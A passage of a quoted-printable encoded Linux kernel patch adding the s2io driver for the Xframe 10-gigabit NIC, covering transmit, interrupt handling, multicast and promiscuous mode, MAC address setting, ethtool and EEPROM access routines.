fragmented, each fragment is put into a new Tx buffer. = */=0A= + for (i =3D 0; i < frg_cnt; i++) {=0A= + skb_frag_t *frag =3D &skb_shinfo(skb)->frags[i];=0A= + txdp++;=0A= + txdp->Buffer_Pointer =3D (u64) pci_map_single=0A= + (sp->pdev,=0A= + page_address(frag->page) + frag->page_offset,=0A= + frag->size, PCI_DMA_TODEVICE);=0A= + txdp->Control_1 |=3D TXD_BUFFER0_SIZE(frag->size);=0A= + }=0A= + txdp->Control_1 |=3D TXD_GATHER_CODE_LAST;=0A= +=0A= +/* To Update the TxDL pointer into the XENA nic. */=0A= + tx_fifo =3D mac_control->tx_FIFO_start[queue];=0A= + val64 =3D (mac_control->txdl_start_phy[queue] +=0A= + (sizeof(TxD_t) * txd_len * off));=0A= + write64(&tx_fifo->TxDL_Pointer, val64);=0A= +=0A= + val64 =3D (TX_FIFO_LAST_TXD_NUM(frg_cnt) | TX_FIFO_FIRST_LIST |=0A= + TX_FIFO_LAST_LIST);=0A= +#ifdef NETIF_F_TSO=0A= + if (mss)=0A= + val64 |=3D TX_FIFO_SPECIAL_FUNC;=0A= +#endif=0A= + write64(&tx_fifo->List_Control, val64);=0A= +=0A= +/*Incrementing offset */=0A= + off++;=0A= + off %=3D mac_control->tx_curr_put_info[queue].fifo_len + 1;=0A= + mac_control->tx_curr_put_info[queue].offset =3D off;=0A= +=0A= +/* Update the time when the last Tx happened */=0A= + dev->trans_start =3D jiffies;=0A= + spin_unlock_irqrestore(&sp->tx_lock, flags);=0A= +=0A= + return SUCCESS;=0A= +=0A= + no_txd:=0A= + netif_stop_queue(dev);=0A= + spin_unlock_irqrestore(&sp->tx_lock, flags);=0A= + return 1;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * irq: the irq of the device.=0A= + * dev_id: a void pointer to the dev structure of the NIC.=0A= + * ptregs: pointer to the registers pushed on the stack.=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This function is the ISR handler of the device. It identifies the = reason =0A= + * for the interrupt and calls the relevant service routines.=0A= + * As a contongency measure, this ISR allocates the recv buffers, if = their =0A= + * numbers are below the panic value which is presently set to 25% of = the=0A= + * original number of rcv buffers allocated.=0A= + */=0A= +=0A= +static irqreturn_t s2io_isr(int irq, void *dev_id, struct pt_regs *regs)=0A= +{=0A= + struct net_device *dev =3D (struct net_device *) dev_id;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +#ifndef CONFIG_S2IO_NAPI=0A= + int i, ret;=0A= +#endif=0A= + u64 reason =3D 0, general_mask =3D 0;=0A= + unsigned long flags;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + spin_lock_irqsave(&sp->isr_lock, flags);=0A= +=0A= +/* Identify the cause for interrupt and call the appropriate=0A= + * interrupt handler. Causes for the interrupt could be;=0A= + * 1. Rx of packet.=0A= + * 2. Tx complete.=0A= + * 3. Link down.=0A= + * 4. Error in any functional blocks of the NIC. =0A= + */=0A= + reason =3D read64(&bar0->general_int_status);=0A= +=0A= + if (!reason) {=0A= + /* The interrupt was not raised by Xena. */=0A= + spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= + return IRQ_NONE;=0A= + }=0A= + /* Mask the interrupts on the NIC */=0A= + general_mask =3D read64(&bar0->general_int_mask);=0A= + write64(&bar0->general_int_mask, 0xFFFFFFFFFFFFFFFFULL);=0A= +=0A= +#if DEBUG_ON=0A= + sp->int_cnt++;=0A= +#endif=0A= +=0A= +/* If Intr is because of Tx Traffic */=0A= + if (reason & GEN_INTR_TXTRAFFIC)=0A= + txIntrHandler(sp);=0A= +=0A= +/* If Intr is because of Link status change or error */=0A= + if (reason & (GEN_ERROR_INTR))=0A= + alarmIntrHandler(sp);=0A= +=0A= +#ifdef CONFIG_S2IO_NAPI=0A= + if (reason & GEN_INTR_RXTRAFFIC) {=0A= + if (netif_rx_schedule_prep(dev)) {=0A= + en_dis_able_NicIntrs(sp, RX_TRAFFIC_INTR,=0A= + DISABLE_INTRS);=0A= + /* We retake the snap shot of the general interrupt =0A= + * register.=0A= + */=0A= + general_mask =3D read64(&bar0->general_int_mask);=0A= + __netif_rx_schedule(dev);=0A= + }=0A= + }=0A= +#else=0A= + /* If Intr is because of Rx Traffic */=0A= + if (reason & GEN_INTR_RXTRAFFIC)=0A= + rxIntrHandler(sp);=0A= +#endif=0A= +=0A= +/* If the Rx buffer count is below the panic threshold then reallocate = the=0A= + * buffers from the interrupt handler itself, else schedule a tasklet = to =0A= + * reallocate the buffers.=0A= + */=0A= +#if 1=0A= + for (i =3D 0; i < config->RxRingNum; i++) {=0A= + int rxb_size =3D atomic_read(&sp->rx_bufs_left[i]);=0A= + int level =3D rx_buffer_level(sp, rxb_size, i);=0A= +=0A= + if ((level =3D=3D PANIC) && (!TASKLET_IN_USE)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Rx BD hit ", dev->name);=0A= + DBG_PRINT(ERR_DBG, "PANIC levels\n");=0A= + if ((ret =3D fill_rx_buffers(sp, i)) =3D=3D -ENOMEM) {=0A= + DBG_PRINT(ERR_DBG, "%s:Out of memory",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, " in ISR!!\n");=0A= + write64(&bar0->general_int_mask,=0A= + general_mask);=0A= + spin_unlock_irqrestore(&sp->isr_lock,=0A= + flags);=0A= + return IRQ_HANDLED;=0A= + }=0A= + clear_bit(0,=0A= + (unsigned long *) (&sp->tasklet_status));=0A= + } else if ((level =3D=3D LOW)=0A= + && (!atomic_read(&sp->tasklet_status))) {=0A= + tasklet_schedule(&sp->task);=0A= + }=0A= +=0A= + }=0A= +#else=0A= + tasklet_schedule(&sp->task);=0A= +#endif=0A= +=0A= +/* Unmask all the previously enabled interrupts on the NIC */=0A= + write64(&bar0->general_int_mask, general_mask);=0A= +=0A= + spin_unlock_irqrestore(&sp->isr_lock, flags);=0A= + return IRQ_HANDLED;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure.=0A= + * Return value:=0A= + * pointer to the updated net_device_stats structure.=0A= + * Description:=0A= + * This function updates the device statistics structure in the = s2io_nic =0A= + * structure and returns a pointer to the same.=0A= + */=0A= +struct net_device_stats *s2io_get_stats(struct net_device *dev)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + mac_info_t *mac_control;=0A= + struct config_param *config;=0A= +=0A= + mac_control =3D &sp->mac_control;=0A= + config =3D &sp->config;=0A= +=0A= + sp->stats.tx_errors =3D mac_control->StatsInfo->tmac_any_err_frms;=0A= + sp->stats.rx_errors =3D mac_control->StatsInfo->rmac_drop_frms;=0A= + sp->stats.multicast =3D mac_control->StatsInfo->rmac_vld_mcst_frms;=0A= + sp->stats.rx_length_errors =3D=0A= + mac_control->StatsInfo->rmac_long_frms;=0A= +=0A= + return (&sp->stats);=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure=0A= + * Return value:=0A= + * void.=0A= + * Description:=0A= + * This function is a driver entry point which gets called by the = kernel =0A= + * whenever multicast addresses must be enabled/disabled. This also = gets =0A= + * called to set/reset promiscuous mode. Depending on the deivce flag, = we=0A= + * determine, if multicast address must be enabled or if promiscuous = mode=0A= + * is to be disabled etc.=0A= + */=0A= +static void s2io_set_multicast(struct net_device *dev)=0A= +{=0A= + int i, j, prev_cnt;=0A= + struct dev_mc_list *mclist;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0, multi_mac =3D 0x010203040506ULL, mask =3D=0A= + 0xfeffffffffffULL;=0A= + u64 dis_addr =3D 0xffffffffffffULL, mac_addr =3D 0;=0A= + void *add;=0A= +=0A= + if ((dev->flags & IFF_ALLMULTI) && (!sp->m_cast_flg)) {=0A= + /* Enable all Multicast addresses */=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(multi_mac));=0A= + write64(&bar0->rmac_addr_data1_mem,=0A= + RMAC_ADDR_DATA1_MEM_MASK(mask));=0A= +=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(MAC_MC_ALL_MC_ADDR_OFFSET);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= + /* Wait till command completes */=0A= + waitForCmdComplete(sp);=0A= +=0A= + sp->m_cast_flg =3D 1;=0A= + sp->all_multi_pos =3D MAC_MC_ALL_MC_ADDR_OFFSET;=0A= + } else if ((dev->flags & IFF_ALLMULTI) && (sp->m_cast_flg)) {=0A= + /* Disable all Multicast addresses */=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= +=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(sp->all_multi_pos);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= + /* Wait till command completes */=0A= + waitForCmdComplete(sp);=0A= +=0A= + sp->m_cast_flg =3D 0;=0A= + sp->all_multi_pos =3D 0;=0A= + }=0A= +=0A= + if ((dev->flags & IFF_PROMISC) && (!sp->promisc_flg)) {=0A= + /* Put the NIC into promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 |=3D MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) val64, add);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + sp->promisc_flg =3D 1;=0A= + DBG_PRINT(ERR_DBG, "%s: entered promiscuous mode\n",=0A= + dev->name);=0A= + } else if (!(dev->flags & IFF_PROMISC) && (sp->promisc_flg)) {=0A= + /* Remove the NIC from promiscuous mode */=0A= + add =3D (void *) &bar0->mac_cfg;=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + val64 &=3D ~MAC_CFG_RMAC_PROM_ENABLE;=0A= +=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) val64, add);=0A= + write64(&bar0->rmac_cfg_key, RMAC_CFG_KEY(0x4C0D));=0A= + writel((u32) (val64 >> 32), (add + 4));=0A= +=0A= + val64 =3D read64(&bar0->mac_cfg);=0A= + sp->promisc_flg =3D 0;=0A= + DBG_PRINT(ERR_DBG, "%s: left promiscuous mode\n",=0A= + dev->name);=0A= + }=0A= +=0A= +/* Update individual M_CAST address list*/=0A= + if ((!sp->m_cast_flg) && dev->mc_count) {=0A= + if (dev->mc_count >=0A= + (MAX_ADDRS_SUPPORTED - MAC_MC_ADDR_START_OFFSET - 1)) {=0A= + DBG_PRINT(ERR_DBG, "%s: No more Rx filters ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "can be added, please enable ");=0A= + DBG_PRINT(ERR_DBG, "ALL_MULTI instead\n");=0A= + return;=0A= + }=0A= +=0A= + prev_cnt =3D sp->mc_addr_count;=0A= + sp->mc_addr_count =3D dev->mc_count;=0A= +=0A= + /* Clear out the previous list of Mc in the H/W. */=0A= + for (i =3D 0; i < prev_cnt; i++) {=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(dis_addr));=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET=0A= + (MAC_MC_ADDR_START_OFFSET + i);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= +=0A= + /* Wait for command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= + return;=0A= + }=0A= + }=0A= +=0A= + /* Create the new Rx filter list and update the same in H/W. */=0A= + for (i =3D 0, mclist =3D dev->mc_list; i < dev->mc_count;=0A= + i++, mclist =3D mclist->next) {=0A= + memcpy(sp->usr_addrs[i].addr, mclist->dmi_addr,=0A= + ETH_ALEN);=0A= + for (j =3D 0; j < ETH_ALEN; j++) {=0A= + mac_addr |=3D mclist->dmi_addr[j];=0A= + mac_addr <<=3D 8;=0A= + }=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= + val64 =3D RMAC_ADDR_CMD_MEM_WE |=0A= + RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(i +=0A= + MAC_MC_ADDR_START_OFFSET);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= +=0A= + /* Wait for command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: Adding ",=0A= + dev->name);=0A= + DBG_PRINT(ERR_DBG, "Multicasts failed\n");=0A= + return;=0A= + }=0A= + }=0A= + }=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * dev - pointer to the device structure.=0A= + * new_mac - a uchar pointer to the new mac address which is to be set.=0A= + * Return value:=0A= + * SUCCESS on success and an appropriate (-)ve integer as defined in = errno.h=0A= + * file on failure.=0A= + * Description:=0A= + * This procedure will program the Xframe to receive frames with new=0A= + * Mac Address=0A= + */=0A= +int s2io_set_mac_addr(struct net_device *dev, u8 * addr)=0A= +{=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + register u64 val64, mac_addr =3D 0;=0A= + int i;=0A= +=0A= +/* =0A= +* Set the new MAC address as the new unicast filter and reflect this=0A= +* change on the device address registered with the OS. It will be=0A= +* at offset 0. =0A= +*/=0A= + for (i =3D 0; i < ETH_ALEN; i++) {=0A= + mac_addr <<=3D 8;=0A= + mac_addr |=3D addr[i];=0A= + }=0A= +=0A= + write64(&bar0->rmac_addr_data0_mem,=0A= + RMAC_ADDR_DATA0_MEM_ADDR(mac_addr));=0A= + val64 =3D=0A= + RMAC_ADDR_CMD_MEM_WE | RMAC_ADDR_CMD_MEM_STROBE_NEW_CMD |=0A= + RMAC_ADDR_CMD_MEM_OFFSET(0);=0A= + write64(&bar0->rmac_addr_cmd_mem, val64);=0A= +/* Wait till command completes */=0A= + if (waitForCmdComplete(sp)) {=0A= + DBG_PRINT(ERR_DBG, "%s: set_mac_addr failed\n", dev->name);=0A= + return FAILURE;=0A= + }=0A= +=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = set=0A= + * link information.=0A= + * Return value:=0A= + * 0 on success.=0A= + * Description:=0A= + * The function sets different link parameters provided by the user = onto =0A= + * the NIC.=0A= + */=0A= +#define SPEED_10000 10000=0A= +static int s2io_ethtool_sset(struct net_device * dev, struct = ethtool_cmd *info)=0A= +{=0A= +nic_t * sp =3D (nic_t *)dev->priv;=0A= + if ((info->autoneg =3D=3D AUTONEG_ENABLE) ||=0A= + (info->speed !=3D SPEED_10000) || (info->duplex !=3D DUPLEX_FULL))=0A= + return -EINVAL;=0A= + else {=0A= + s2io_close(sp->dev);=0A= + s2io_open(sp->dev);=0A= + }=0A= +=0A= + return 0;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = return=0A= + * link information.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns link specefic information like speed, duplex etc.. to = ethtool.=0A= + */=0A= +int s2io_ethtool_gset(struct net_device *dev,struct ethtool_cmd *info)=0A= +{=0A= +nic_t * sp =3D (nic_t *)dev->priv;=0A= + info->supported =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= + info->advertising =3D (SUPPORTED_10000baseT_Full | SUPPORTED_FIBRE);=0A= + info->port =3D PORT_FIBRE;=0A= + /* info->transceiver?? TODO */=0A= +=0A= + if (netif_carrier_ok(sp->dev)) {=0A= + info->speed =3D 10000;=0A= + info->duplex =3D DUPLEX_FULL;=0A= + } else {=0A= + info->speed =3D -1;=0A= + info->duplex =3D -1;=0A= + }=0A= +=0A= + info->autoneg =3D AUTONEG_DISABLE;=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * info - pointer to the structure with parameters given by ethtool to = return=0A= + * driver information.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns driver specefic information like name, version etc.. to = ethtool.=0A= + */=0A= +static void s2io_ethtool_gdrvinfo(struct net_device *dev, struct = ethtool_drvinfo *info)=0A= +{=0A= +nic_t * sp =3D (nic_t *)dev->priv;=0A= +=0A= + strncpy(info->driver, s2io_driver_name, =0A= + sizeof(s2io_driver_name));=0A= + strncpy(info->version, s2io_driver_version, =0A= + sizeof(s2io_driver_version));=0A= + strncpy(info->fw_version, "", 32);=0A= + strncpy(info->bus_info, sp->pdev->slot_name, 32);=0A= +#if defined(ETHTOOL_GREGS)=0A= + info->regdump_len =3D XENA_REG_SPACE;=0A= +#endif=0A= + info->eedump_len =3D XENA_EEPROM_SPACE;=0A= + info->testinfo_len =3D S2IO_TEST_LEN;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * regs - pointer to the structure with parameters given by ethtool = for =0A= + * dumping the registers.=0A= + * reg_space - The input argumnet into which all the registers are = dumped.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Dumps the entire register space of xFrame NIC into the user given = buffer =0A= + * area.=0A= + */=0A= +static void s2io_ethtool_gregs(struct net_device *dev,struct = ethtool_regs *regs,=0A= + void *space)=0A= +{=0A= + int i;=0A= + u64 reg;=0A= + u8 *reg_space =3D (u8 *)space;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= +=0A= + regs->len =3D XENA_REG_SPACE;=0A= + regs->version =3D sp->pdev->subsystem_device;=0A= +=0A= + for (i =3D 0; i < regs->len; i +=3D 8) {=0A= + reg =3D read64((void *) (sp->bar0 + i));=0A= + memcpy((reg_space + i), ®, 8);=0A= + }=0A= +}=0A= +=0A= +#ifdef ETHTOOL_PHYS_ID=0A= +/*=0A= + * Input Argument/s: =0A= + * data - address of the private member of the device structure, which =0A= + * is a pointer to the s2io_nic structure, provided as an u32.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * This is actually the timer function that alternates the adapter LED = bit=0A= + * of the adapter control bit to set/reset every time on invocation.=0A= + * The timeris set for 1/2 a second, hence tha NIC blinks once every = second.=0A= + */=0A= +static void s2io_phy_id(unsigned long data)=0A= +{=0A= + nic_t *sp =3D (nic_t *) data;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u64 val64 =3D 0;=0A= + u16 subid;=0A= +=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) >=3D 0x07) {=0A= + val64 =3D read64(&bar0->gpio_control);=0A= + val64 ^=3D GPIO_CTRL_GPIO_0;=0A= + write64(&bar0->gpio_control, val64);=0A= + } else {=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + val64 ^=3D ADAPTER_LED_ON;=0A= + write64(&bar0->adapter_control, val64);=0A= + }=0A= +=0A= + mod_timer(&sp->id_timer, jiffies + HZ / 2); /* blink once in 1 sec */=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * id - pointer to the structure with identification parameters given = by =0A= + * ethtool.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Used to physically identify the NIC on the system. The Link LED = will blink=0A= + * for a time specified by the user for identification.=0A= + * NOTE: The Link has to be Up to be able to blink the LED. Hence =0A= + * identification is possible only if it's link is up.=0A= + */=0A= +static int s2io_ethtool_idnic(struct net_device *dev,u32 data)=0A= +{=0A= + u64 val64 =3D 0;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= + u16 subid;=0A= +=0A= + subid =3D sp->pdev->subsystem_device;=0A= + if ((subid & 0xFF) < 0x07) {=0A= + val64 =3D read64(&bar0->adapter_control);=0A= + if (!(val64 & ADAPTER_CNTL_EN)) {=0A= + printk(KERN_ERR=0A= + "Adapter Link down, cannot blink LED\n");=0A= + return -EFAULT;=0A= + }=0A= + }=0A= + if (sp->id_timer.function =3D=3D NULL) {=0A= + init_timer(&sp->id_timer);=0A= + sp->id_timer.function =3D s2io_phy_id;=0A= + sp->id_timer.data =3D (unsigned long) sp;=0A= + }=0A= + mod_timer(&sp->id_timer, jiffies);=0A= + set_current_state(TASK_INTERRUPTIBLE);=0A= + if (data)=0A= + schedule_timeout(data * HZ);=0A= + else=0A= + schedule_timeout(MAX_SCHEDULE_TIMEOUT);=0A= + del_timer_sync(&sp->id_timer);=0A= +=0A= + return SUCCESS;=0A= +}=0A= +#endif=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ep - pointer to the structure with pause parameters given by = ethtool.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Returns the Pause frame generation and reception capability of the = NIC.=0A= + */=0A= +static void s2io_ethtool_getpause_data(struct net_device *dev,=0A= + struct ethtool_pauseparam *ep)=0A= +{=0A= + u64 val64;=0A= + nic_t *sp =3D (nic_t *)dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D read64(&bar0->rmac_pause_cfg);=0A= + if (val64 & RMAC_PAUSE_GEN_ENABLE)=0A= + ep->tx_pause =3D TRUE;=0A= + if (val64 & RMAC_PAUSE_RX_ENABLE)=0A= + ep->rx_pause =3D TRUE;=0A= + ep->autoneg =3D FALSE;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * ep - pointer to the structure with pause parameters given by = ethtool.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * It can be used to set or reset Pause frame generation or reception = support =0A= + * of the NIC.=0A= + */=0A= +int s2io_ethtool_setpause_data(struct net_device *dev,=0A= + struct ethtool_pauseparam *ep)=0A= +{=0A= + u64 val64;=0A= + nic_t * sp =3D (nic_t *)dev->priv;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D read64(&bar0->rmac_pause_cfg);=0A= + if (ep->tx_pause)=0A= + val64 |=3D RMAC_PAUSE_GEN_ENABLE;=0A= + else=0A= + val64 &=3D ~RMAC_PAUSE_GEN_ENABLE;=0A= + if (ep->rx_pause)=0A= + val64 |=3D RMAC_PAUSE_RX_ENABLE;=0A= + else=0A= + val64 &=3D ~RMAC_PAUSE_RX_ENABLE;=0A= + write64(&bar0->rmac_pause_cfg, val64);=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * off - offset at which the data must be written=0A= + * Return value:=0A= + * -1 on failure and the value read from the Eeprom if successful.=0A= + * Description:=0A= + * Will read 4 bytes of data from the user given offset and return the =0A= + * read data.=0A= + * NOTE: Will allow to read only part of the EEPROM visible through the=0A= + * I2C bus.=0A= + */=0A= +#define S2IO_DEV_ID 5=0A= +static u32 readEeprom(nic_t * sp, int off)=0A= +{=0A= + u32 data =3D -1, exit_cnt =3D 0;=0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= + I2C_CONTROL_BYTE_CNT(0x3) | I2C_CONTROL_READ |=0A= + I2C_CONTROL_CNTL_START;=0A= + write64(&bar0->i2c_control, val64);=0A= +=0A= + while (exit_cnt < 5) {=0A= + val64 =3D read64(&bar0->i2c_control);=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= + data =3D I2C_CONTROL_GET_DATA(val64);=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/20); =0A= + exit_cnt++;=0A= + }=0A= +=0A= + return data;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * off - offset at which the data must be written=0A= + * data - The data that is to be written=0A= + * cnt - Number of bytes of the data that are actually to be written = into =0A= + * the Eeprom. (max of 3)=0A= + * Return value:=0A= + * '0' on success, -1 on failure.=0A= + * Description:=0A= + * Actually writes the relevant part of the data value into the Eeprom=0A= + * through the I2C bus.=0A= + */=0A= +static int writeEeprom(nic_t * sp, int off, u32 data, int cnt)=0A= +{=0A= + int exit_cnt =3D 0, ret =3D -1;=0A= + u64 val64;=0A= + XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= +=0A= + val64 =3D I2C_CONTROL_DEV_ID(S2IO_DEV_ID) | I2C_CONTROL_ADDR(off) |=0A= + I2C_CONTROL_BYTE_CNT(cnt) | I2C_CONTROL_SET_DATA(data) |=0A= + I2C_CONTROL_CNTL_START;=0A= + write64(&bar0->i2c_control, val64);=0A= +=0A= + while (exit_cnt < 5) {=0A= + val64 =3D read64(&bar0->i2c_control);=0A= + if (I2C_CONTROL_CNTL_END(val64)) {=0A= + if (!(val64 & I2C_CONTROL_NACK))=0A= + ret =3D 0;=0A= + break;=0A= + }=0A= + set_current_state(TASK_UNINTERRUPTIBLE);=0A= + schedule_timeout(HZ/20); =0A= + exit_cnt++;=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/* =0A= + * A helper function used to invert the 4 byte u32 data field=0A= + * byte by byte. This will be used by the Read Eeprom function=0A= + * for display purposes.=0A= + */=0A= +u32 inv(u32 data)=0A= +{=0A= + static u32 ret =3D 0;=0A= +=0A= + if (data) {=0A= + u8 c =3D data;=0A= + ret =3D ((ret << 8) + c);=0A= + data >>=3D 8;=0A= + inv(data);=0A= + }=0A= +=0A= + return ret;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * eeprom - pointer to the user level structure provided by ethtool, =0A= + * containing all relevant information.=0A= + * data_buf - user defined value to be written into Eeprom.=0A= + * Return value:=0A= + * void=0A= + * Description:=0A= + * Reads the values stored in the Eeprom at given offset for a given = length.=0A= + * Stores these values int the input argument data buffer 'data_buf' = and=0A= + * returns these to the caller (ethtool.)=0A= + */=0A= +int s2io_ethtool_geeprom(struct net_device *dev, =0A= + struct ethtool_eeprom *eeprom,=0A= + u8 *data_buf)=0A= +{=0A= + u32 data, i, valid;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= +=0A= + eeprom->magic =3D sp->pdev->vendor | (sp->pdev->device << 16);=0A= +=0A= + if ((eeprom->offset + eeprom->len) > (XENA_EEPROM_SPACE))=0A= + eeprom->len =3D XENA_EEPROM_SPACE - eeprom->offset;=0A= +=0A= + for (i =3D 0; i < eeprom->len; i +=3D 4) {=0A= + data =3D readEeprom(sp, eeprom->offset + i);=0A= + if (data < 0) {=0A= + DBG_PRINT(ERR_DBG, "Read of EEPROM failed\n");=0A= + return -EFAULT;=0A= + }=0A= + valid =3D inv(data);=0A= + memcpy((data_buf + i), &valid, 4);=0A= + }=0A= + return SUCCESS;=0A= +}=0A= +=0A= +/*=0A= + * Input Argument/s: =0A= + * sp - private member of the device structure, which is a pointer to = the =0A= + * s2io_nic structure.=0A= + * eeprom - pointer to the user level structure provided by ethtool, =0A= + * containing all relevant information.=0A= + * data_buf - user defined value to be written into Eeprom.=0A= + * Return value:=0A= + * '0' on success, -EFAULT on failure.=0A= + * Description:=0A= + * Tries to write the user provided value in the Eeprom, at the offset=0A= + * given by the user.=0A= + */=0A= +static int s2io_ethtool_seeprom(struct net_device *dev, =0A= + struct ethtool_eeprom *eeprom,=0A= + u8 *data_buf)=0A= +{=0A= + int len =3D eeprom->len, cnt =3D 0;=0A= + u32 valid =3D 0, data;=0A= + nic_t *sp =3D (nic_t *) dev->priv;=0A= +=0A= + if (eeprom->magic !=3D (sp->pdev->vendor | (sp->pdev->device << 16))) {=0A= + DBG_PRINT(ERR_DBG,=0A= + "ETHTOOL_WRITE_EEPROM Err: Magic value ");=0A= + DBG_PRINT(ERR_DBG, "is wrong, Its not 0x%x\n",=0A= + eeprom->magic);=0A= + return -EFAULT;=0A= + }=0A= +=0A= + while (len) {=0A= + data =3D (u32) 